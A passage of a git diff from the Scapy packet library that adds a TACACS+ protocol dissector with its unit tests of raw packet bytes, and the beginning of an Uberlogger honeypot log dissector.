+
+    name = 'Tacacs Authentication Start Body'
+    fields_desc = [ByteEnumField('action', 1, TACACSAUTHENACTION),
+                   ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL),
+                   ByteEnumField('authen_type', 1, TACACSAUTHENTYPE),
+                   ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE),
+                   FieldLenField('user_len', None, fmt='!B', length_of='user'),
+                   FieldLenField('port_len', None, fmt='!B', length_of='port'),
+                   FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'),
+                   FieldLenField('data_len', None, fmt='!B', length_of='data'),
+                   ConditionalField(StrLenField('user', '', length_from=lambda x: x.user_len),
+                                    lambda x: x != ''),
+                   StrLenField('port', '', length_from=lambda x: x.port_len),
+                   StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len),
+                   StrLenField('data', '', length_from=lambda x: x.data_len)]
+
+class TacacsAuthenticationReply(Packet):
+
+    '''
+
+    Tacacs authentication reply body from section 4.2
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.2
+
+    '''
+
+    name = 'Tacacs Authentication Reply Body'
+    fields_desc = [ByteEnumField('status', 1, TACACSREPLYPASS),
+                   ByteEnumField('flags', 0, TACACSREPLYFLAGS),
+                   FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'),
+                   FieldLenField('data_len', None, fmt='!H', length_of='data'),
+                   StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len),
+                   StrLenField('data', '', length_from=lambda x: x.data_len)]
+
+class TacacsAuthenticationContinue(Packet):
+
+    '''
+
+    Tacacs authentication continue body from section 4.3
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-4.3
+
+    '''
+
+    name = 'Tacacs Authentication Continue Body'
+    fields_desc = [FieldLenField('user_msg_len', None, fmt='!H', length_of='user_msg'),
+                   FieldLenField('data_len', None, fmt='!H', length_of='data'),
+                   ByteEnumField('flags', 1, TACACSCONTINUEFLAGS),
+                   StrLenField('user_msg', '', length_from=lambda x: x.user_msg_len),
+                   StrLenField('data', '', length_from=lambda x: x.data_len)]
+
+#########################
+# Authorization Packets #
+#########################
+
+TACACSAUTHORTYPE = {0:'Not Set',
+                    1:'None',
+                    2:'Kerberos 5',
+                    3:'Line',
+                    4:'Enable',
+                    5:'Local',
+                    6:'Tacacs+',
+                    8:'Guest',
+                    16:'Radius',
+                    17:'Kerberos 4',
+                    32:'RCMD'}
+
+TACACSAUTHORSTATUS = {1:'Pass Add',
+                      2:'Pass repl',
+                      16:'Fail',
+                      17:'Error',
+                      33:'Follow'}
+
+class TacacsAuthorizationRequest(Packet):
+
+    '''
+
+    Tacacs authorization request body from section 5.1
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.1
+
+    '''
+
+    name = 'Tacacs Authorization Request Body'
+    fields_desc = [ByteEnumField('authen_method', 0, TACACSAUTHORTYPE),
+                   ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL),
+                   ByteEnumField('authen_type', 1, TACACSAUTHENTYPE),
+                   ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE),
+                   FieldLenField('user_len', None, fmt='!B', length_of='user'),
+                   FieldLenField('port_len', None, fmt='!B', length_of='port'),
+                   FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'),
+                   FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'),
+                   FieldListField('arg_len_list', [], ByteField('', 0),
+                                  length_from=lambda pkt: pkt.arg_cnt),
+                   StrLenField('user', '', length_from=lambda x: x.user_len),
+                   StrLenField('port', '', length_from=lambda x: x.port_len),
+                   StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)]
+
+    def guess_payload_class(self, pay):
+        if self.arg_cnt > 0:
+            return TacacsPacketArguments
+        return conf.padding_layer
+
+class TacacsAuthorizationReply(Packet):
+
+    '''
+
+    Tacacs authorization reply body from section 5.2
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-5.2
+
+    '''
+
+    name = 'Tacacs Authorization Reply Body'
+    fields_desc = [ByteEnumField('status', 0, TACACSAUTHORSTATUS),
+                   FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'),
+                   FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'),
+                   FieldLenField('data_len', None, fmt='!H', length_of='data'),
+                   FieldListField('arg_len_list', [], ByteField('', 0),
+                                  length_from=lambda pkt: pkt.arg_cnt),
+                   StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len),
+                   StrLenField('data', '', length_from=lambda x: x.data_len)]
+
+    def guess_payload_class(self, pay):
+        if self.arg_cnt > 0:
+            return TacacsPacketArguments
+        return conf.padding_layer
+
+
+######################
+# Accounting Packets #
+######################
+
+TACACSACNTFLAGS = {2:'Start',
+                   4:'Stop',
+                   8:'Watchdog'}
+
+TACACSACNTSTATUS = {1:'Success',
+                    2:'Error',
+                    33:'Follow'}
+
+class TacacsAccountingRequest(Packet):
+
+    '''
+
+    Tacacs accounting request body from section 6.1
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.1
+
+    '''
+
+    name = 'Tacacs Accounting Request Body'
+    fields_desc = [ByteEnumField('flags', 0, TACACSACNTFLAGS),
+                   ByteEnumField('authen_method', 0, TACACSAUTHORTYPE),
+                   ByteEnumField('priv_lvl', 1, TACACSPRIVLEVEL),
+                   ByteEnumField('authen_type', 1, TACACSAUTHENTYPE),
+                   ByteEnumField('authen_service', 1, TACACSAUTHENSERVICE),
+                   FieldLenField('user_len', None, fmt='!B', length_of='user'),
+                   FieldLenField('port_len', None, fmt='!B', length_of='port'),
+                   FieldLenField('rem_addr_len', None, fmt='!B', length_of='rem_addr'),
+                   FieldLenField('arg_cnt', None, fmt='!B', count_of='arg_len_list'),
+                   FieldListField('arg_len_list', [], ByteField('', 0),
+                                  length_from=lambda pkt: pkt.arg_cnt),
+                   StrLenField('user', '', length_from=lambda x: x.user_len),
+                   StrLenField('port', '', length_from=lambda x: x.port_len),
+                   StrLenField('rem_addr', '', length_from=lambda x: x.rem_addr_len)]
+
+    def guess_payload_class(self, pay):
+        if self.arg_cnt > 0:
+            return TacacsPacketArguments
+        return conf.padding_layer
+
+class TacacsAccountingReply(Packet):
+
+    '''
+
+    Tacacs accounting reply body from section 6.2
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-6.2
+
+    '''
+
+    name = 'Tacacs Accounting Reply Body'
+    fields_desc = [FieldLenField('server_msg_len', None, fmt='!H', length_of='server_msg'),
+                   FieldLenField('data_len', None, fmt='!H', length_of='data'),
+                   ByteEnumField('status', None, TACACSACNTSTATUS),
+                   StrLenField('server_msg', '', length_from=lambda x: x.server_msg_len),
+                   StrLenField('data', '', length_from=lambda x: x.data_len)]
+
+class TacacsPacketArguments(Packet):
+
+    '''
+
+    Class defined to handle the arguments listed at the end of tacacs+
+    Authorization and Accounting packets.
+
+    '''
+
+    __slots__ = ['_len']
+    name = 'Arguments in Tacacs+ packet'
+    fields_desc = [StrLenField('data', '', length_from=lambda pkt: pkt._len)]
+
+    def pre_dissect(self, s):
+        cur = self.underlayer
+        i = 0
+
+        # Searching the position in layer in order to get its length
+
+        while isinstance(cur, TacacsPacketArguments):
+            cur = cur.underlayer
+            i += 1
+        self._len = cur.arg_len_list[i]
+        return s
+
+    def guess_payload_class(self, pay):
+        cur = self.underlayer
+        i = 0
+
+        # Guessing if Argument packet. Nothing in encapsulated via tacacs+
+
+        while isinstance(cur, TacacsPacketArguments):
+            cur = cur.underlayer
+            i += 1
+        if i+1 < cur.arg_cnt:
+            return TacacsPacketArguments
+        return conf.padding_layer
+
+
+
+class TacacsClientPacket(Packet):
+
+    '''
+
+    Super class for tacacs packet in order to get them uncrypted
+    Obfuscation methodology from section 3.7
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.7
+
+    '''
+    def post_dissect(self, pay):
+
+        if self.flags == 0:
+            pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq)
+            return pay
+
+class TacacsHeader(TacacsClientPacket):
+
+    '''
+
+    Tacacs Header packet from section 3.8
+    https://tools.ietf.org/html/draft-ietf-opsawg-tacacs-06#section-3.8
+
+    '''
+
+    name = 'Tacacs Header'
+    fields_desc = [ByteEnumField('version', 192, TACACSVERSION),
+                   ByteEnumField('type', 1, TACACSTYPE),
+                   ByteField('seq', 1),
+                   ByteEnumField('flags', 0, TACACSFLAGS),
+                   IntField('session_id', 0),
+                   IntField('length', None)]
+
+    def guess_payload_class(self, payload):
+
+        # Guessing packet type from type and seq values
+
+        # Authentication packet - type 1
+
+        if self.type == 1:
+            if self.seq % 2 == 0:
+                return TacacsAuthenticationReply
+            if sum(struct.unpack('bbbb', payload[4:8])) == len(payload[8:]):
+                return TacacsAuthenticationStart
+            elif sum(struct.unpack('!hh', payload[:4])) == len(payload[5:]):
+                return TacacsAuthenticationContinue
+
+        # Authorization packet - type 2
+
+        if self.type == 2:
+            if self.seq % 2 == 0:
+                return TacacsAuthorizationReply
+            return TacacsAuthorizationRequest
+
+        # Accounting packet - type 3
+
+        if self.type == 3:
+            if self.seq % 2 == 0:
+                return TacacsAccountingReply
+            return TacacsAccountingRequest
+
+        return conf.raw_layer
+
+    def post_build(self, p, pay):
+
+        # Setting length of packet to obfuscate if not filled by user
+
+        if self.length is None and pay:
+            p = p[:-4] + struct.pack('!I', len(pay))
+
+
+        if self.flags == 0:
+
+            pay = obfuscate(pay, SECRET, self.session_id, self.version, self.seq)
+            return p + pay
+
+        return p
+
+    def hashret(self):
+        return struct.pack('I', self.session_id)
+
+    def answers(self, other):
+        return (isinstance(other, TacacsHeader) and
+                self.seq == other.seq + 1 and
+                self.type == other.type and
+                self.session_id == other.session_id)
+
+
+bind_layers(TCP, TacacsHeader, dport=49)
+bind_layers(TCP, TacacsHeader, sport=49)
+bind_layers(TacacsHeader, TacacsAuthenticationStart, type=1, dport=49)
+bind_layers(TacacsHeader, TacacsAuthenticationReply, type=1, sport=49)
+
+if __name__ == '__main__':
+    from scapy.main import interact
+    interact(mydict=globals(), mybanner='tacacs+')
diff --git a/scapy/contrib/tacacs.uts b/scapy/contrib/tacacs.uts
new file mode 100644
index 0000000..c25a608
--- /dev/null
+++ b/scapy/contrib/tacacs.uts
@@ -0,0 +1,194 @@
++ Tacacs+ header
+
+= default instanciation
+
+from scapy.consts import WINDOWS
+if WINDOWS:
+    route_add_loopback()
+
+pkt = IP()/TCP(dport=49)/TacacsHeader()
+raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd0p\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= default values build
+
+pkt = IP()/TCP(dport=49)/TacacsHeader()
+pkt.session_id == 0 and TacacsHeader in pkt
+
+= filled values build
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=5, session_id=165)
+raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcb\xcb\x00\x00\xc0\x01\x05\x00\x00\x00\x00\xa5\x00\x00\x00\x00'
+
+= dissection
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x1c4\x00\x00\xc0\x01\x01\x00\x00Y\xb3\xe3\x00\x00\x00\x00')
+pkt.session_id == 5878755
+
++ Tacacs+ Authentication Start 
+
+= default instanciation
+
+pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart()
+raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xce\xfb\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08R\x0f\x9e\xe7\xe0\xd1/\x9c'
+
+= default values build
+
+pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationStart()
+TacacsAuthenticationStart in pkt and pkt.action == 1 and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1
+
+= filled values build -- SSH connection sample use scapy, secret = test
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, flags=0, session_id=2424164486, length=28)/TacacsAuthenticationStart(user_len=5, port_len=4, rem_addr_len=11, data_len=0, user='scapy', port='tty2', rem_addr='172.10.10.1')
+raw(pkt) == b"E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd4t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb'\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q"
+
+= dissection
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5t\x00\x00\xc0\x01\x01\x00\x90}\xd0\x86\x00\x00\x00\x1c\x05\x00POza\xed\xee}\xa5R\xd3Vu+\xbb&\xae\x98\xaa\x1a\x9d\x17=\x90\xd2\x07q')
+pkt.user == b'scapy' and pkt.port == b'tty3'
+
++ Tacacs+ Authentication Reply
+
+= default instanciation
+
+pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationReply()
+raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfd\x9d\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06R\x0e\x9f\xe6\xe0\xd1'
+
+= default values build
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2)/TacacsAuthenticationReply()
+TacacsAuthenticationReply in pkt and pkt.status == 1
+
+= filled values build -- SSH connection sample use scapy, secret = test
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, flags=0, session_id=2424164486, length=16)/TacacsAuthenticationReply(status=5, flags=1, server_msg_len=10, data_len=0, server_msg='Password: ')
+raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o'
+
+= dissection
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x87\x00\x00\xc0\x01\x02\x00\x90}\xd0\x86\x00\x00\x00\x10*\x0c\x1d\xa0\xa2[xE\x0b\t/s\xee\x8b\xd3o')
+pkt.server_msg == b'Password: '
+
++ Tacacs+ Authentication Continue
+
+= default instanciation
+
+pkt = IP()/TCP(dport=49)/TacacsHeader()/TacacsAuthenticationContinue()
+raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfcp\x00\x00\xc0\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x05S\x0e\x9f\xe6\xe1'
+
+= default values build
+
+pkt = TacacsAuthenticationContinue()
+TacacsAuthenticationContinue in pkt and pkt.data == b'' and pkt.user_msg == b'' and pkt.data_len is None and pkt.user_msg_len is None
+
+= filled values build -- SSH connection sample secret = test, password = pass
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=3, flags=0, session_id=2424164486, length=9)/TacacsAuthenticationContinue(flags=0, user_msg_len=4, data_len=0, user_msg='pass')
+raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00u\xfa\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\t\xec8\xc1\x8d\xcc\xec(\xacT'
+
+= dissection
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00A\x00\x01\x00\x00@\x06|\xb4\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb5\xfd\x00\x00\xc0\x01\x03\x00\x90}\xd0\x86\x00\x00\x00\r\xec4\xc1\x8d\xcc\xec(\xacT\xd2k&T')
+pkt.user_msg == b'password'
+
++ Tacacs+ Authorization Request
+
+= default instanciation
+
+pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationRequest()
+raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xcd\xdb\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08S\x0f\x9e\xe7\xe0\xd1/\x9c'
+
+= default values build
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(type=2)/TacacsAuthorizationRequest()
+TacacsAuthorizationRequest in pkt and pkt.priv_lvl == 1 and pkt.authen_type == 1 and pkt.authen_service == 1 
+
+= filled values build -- SSH connection sample secret = test
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=2 , flags=0, session_id=135252, length=47)/TacacsAuthorizationRequest(authen_method=6, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=2, arg_len_list=[13, 4], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='service=shell')/TacacsPacketArguments(data='cmd*')
+raw(pkt) == b'E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb28\x00\x00\xc0\x02\x01\x00\x00\x02\x10T\x00\x00\x00/\xdd\xe0\xe8\xea\xba\xca$Y\xf7\x00\xc2Hh\xed\x03\x1eK84\x10\xb9h\xd7@\x0e\xd5\x13\xf0\xfaA\xfa\xbe;\x01\x82\xecl\xf9\xc6\xa0Z6\x98j\xfd\\9'
+
+= dissection
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00c\x00\x01\x00\x00@\x06|\x92\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc2D\x00\x00\xc0\x02\x01\x00R\xf2\x0e\xf4\x00\x00\x00/\xe6\x01\x03 \xd7\xa9\x91\x7fv\xf2\x15-\x88a\xac$\x14\x9f\xc0\xbb\xb8a\xe0\x86e\xf9\xd9\xa2\xc4\xe7\x0bRI\xc8\xdd\x97\xd5\x80\xcf\xce\x81*"\xbc\x15E\x95')
+pkt.port == b'tty9'
+
++ Tacacs+ Authorization Reply
+
+= default instanciation
+
+pkt = IP()/TCP()/TacacsHeader(type=2)/TacacsAuthorizationReply()
+raw(pkt) == b'E\x00\x00:\x00\x01\x00\x00@\x06|\xbb\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xfc}\x00\x00\xc0\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06S\x0e\x9f\xe6\xe0\xd1'
+
+= default values build
+
+pkt = TacacsHeader()/TacacsAuthorizationReply()
+TacacsAuthorizationReply in pkt and pkt.status == 0  and pkt.arg_cnt is None and pkt.data_len is None
+
+= filled values build -- SSH connection sample secret = test
+
+pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=2 , flags=0, session_id=1391595252, length=20)/TacacsAuthorizationReply(status=1, arg_cnt=2, server_msg_len=0, data_len=0, arg_len_list=[11, 1])/TacacsPacketArguments(data='priv-lvl=15')/TacacsPacketArguments(data='a')
+raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15'
+
+= dissection
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|G\x00\x00\xc0\x02\x02\x00R\xf2\x0e\xf4\x00\x00\x00\x14\xce^Xp~Z\x9b^\xd8Y\xc9"\xf5\xb0&\xe5Ji\xa8\x15')
+pkt.status == 1
+
++ Tacacs+ Accounting Request
+
+= default instanciation
+
+pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest()
+raw(pkt) == b'E\x00\x00=\x00\x01\x00\x00@\x06|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb3\xd9\x00\x00\xc0\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\tS\x0e\x9e\xe7\xe1\xd1/\x9c\x19'
+
+= default value build
+
+pkt = IP()/TCP()/TacacsHeader(type=3)/TacacsAccountingRequest()
+TacacsAccountingRequest in pkt and pkt.authen_method == 0 and pkt.priv_lvl == 1 and pkt.authen_type == 1
+
+= filled values build -- SSH connection sample secret = test
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=1, type=3 , flags=0, session_id=3059434316, length=67)/TacacsAccountingRequest(flags=2, authen_method=6, priv_lvl=15, authen_type=1, authen_service=1, user_len=5, port_len=4, rem_addr_len=11, arg_cnt=3, arg_len_list=[10, 12, 13], user='scapy', port='tty2', rem_addr='172.10.10.1')/TacacsPacketArguments(data='task_id=24')/TacacsPacketArguments(data='timezone=CET')/TacacsPacketArguments(data='service=shell')
+raw(pkt) == b'E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00sk\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 i\x05\xb5|\x9f\x01l\xbf/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeA\xd4\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2'
+
+= dissection
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00w\x00\x01\x00\x00@\x06|~\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00|j\x00\x00\xc0\x03\x01\x00\xb6[CL\x00\x00\x00C\x1d\xfb\x81\xd52\xfb\x06\x8b\t\xb9\x0c87\xd3 i\x05\xb5|\x9f\x01l\xb1/\xd3\rc\x0f\nDr\xc0\xc9.\x88@*(S\xfeF\xd5\x19wFj=\xc3\x9f\x00!D\xbe$E\x04\x0e\xe75\x99\xd6\r\x0f\x16\xc7\x1d\xc2')
+pkt.rem_addr == b'192.10.10.1'
+
++ Tacacs+ Accounting Reply
+
+= default instanciation
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply()
+raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00,\x07\x00\x00\xc0\x03\x02\x00\x00\x00\x00\x00\x00\x00\x00\x05B\xd2A\x8b\x1f'
+
+= default values build
+
+pkt = IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3)/TacacsAccountingReply()
+TacacsAccountingReply in pkt and pkt.server_msg == b'' and pkt.server_msg_len is None and pkt.status is None
+
+= filled values build  -- SSH connection sample secret = test
+
+pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(seq=2, type=3 , flags=0, session_id=3059434316, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0)
+raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o'
+
+= dissection
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xc5\x7f\x00\x00\xc0\x03\x02\x00\xb6[CL\x00\x00\x00\x05\xf4\x0f\xad,o')
+pkt.status == 1
+
++ Changing secret to foobar
+
+= instanciation
+
+scapy.contrib.tacacs.SECRET = 'foobar'
+pkt = Ether()/IP()/TCP(dport=49)/TacacsHeader(session_id=441255181, type=3, seq=2, length=5)/TacacsAccountingReply(status=1, server_msg_len=0, data_len=0)
+raw(pkt) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92'
+
+= dissection
+
+scapy.contrib.tacacs.SECRET = 'foobar'
+
+pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x001\x001\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00/,\x00\x00\xc0\x03\x02\x00\x1aM\x05\r\x00\x00\x00\x05S)\x9b\xb4\x92')
+pkt.status == 1
+
diff --git a/scapy/contrib/ubberlogger.py b/scapy/contrib/ubberlogger.py
new file mode 100644
index 0000000..b25556e
--- /dev/null
+++ b/scapy/contrib/ubberlogger.py
@@ -0,0 +1,114 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# Author: Sylvain SARMEJEANNE
+
+# scapy.contrib.description = Ubberlogger dissectors
+# scapy.contrib.status = loads
+
+from scapy.packet import *
+from scapy.fields import *
+
+# Syscalls known by Uberlogger
+uberlogger_sys_calls = {0:"READ_ID",
+             1:"OPEN_ID",
+             2:"WRITE_ID",
+             3:"CHMOD_ID",
+             4:"CHOWN_ID",
+             5:"SETUID_ID",
+             6:"CHROOT_ID",
+             7:"CREATE_MODULE_ID",
+             8:"INIT_MODULE_ID",
+             9:"DELETE_MODULE_ID",
+             10:"CAPSET_ID",
+             11:"CAPGET_ID",
+             12:"FORK_ID",
+             13:"EXECVE_ID"}
+
+# First part of the header
+class Uberlogger_honeypot_caract(Packet):
+    name = "Uberlogger honeypot_caract"
+    fields_desc = [ByteField("honeypot_id", 0),
+                   ByteField("reserved", 0),
+                   ByteField("os_type_and_version", 0)]
+
+# Second part of the header
+class Uberlogger_uber_h(Packet):
+    name  = "Uberlogger uber_h"
+    fields_desc = [ByteEnumField("syscall_type", 0, uberlogger_sys_calls),
+                   IntField("time_sec", 0),
+                   IntField("time_usec", 0),
+                   IntField("pid", 0),
+                   IntField("uid", 0),
+                   IntField("euid", 0),
+                   IntField("cap_effective", 0),
+                   IntField("cap_inheritable", 0),
+                   IntField("cap_permitted", 0),
+                   IntField("res", 0),
+                   IntField("length", 0)]
+
+# The 9 following classes are options depending on the syscall type
+class Uberlogger_capget_data(Packet):
+    name  = "Uberlogger capget_data"
+    fields_desc = [IntField("target_pid", 0)]
+
+class Uberlogger_capset_data(Packet):
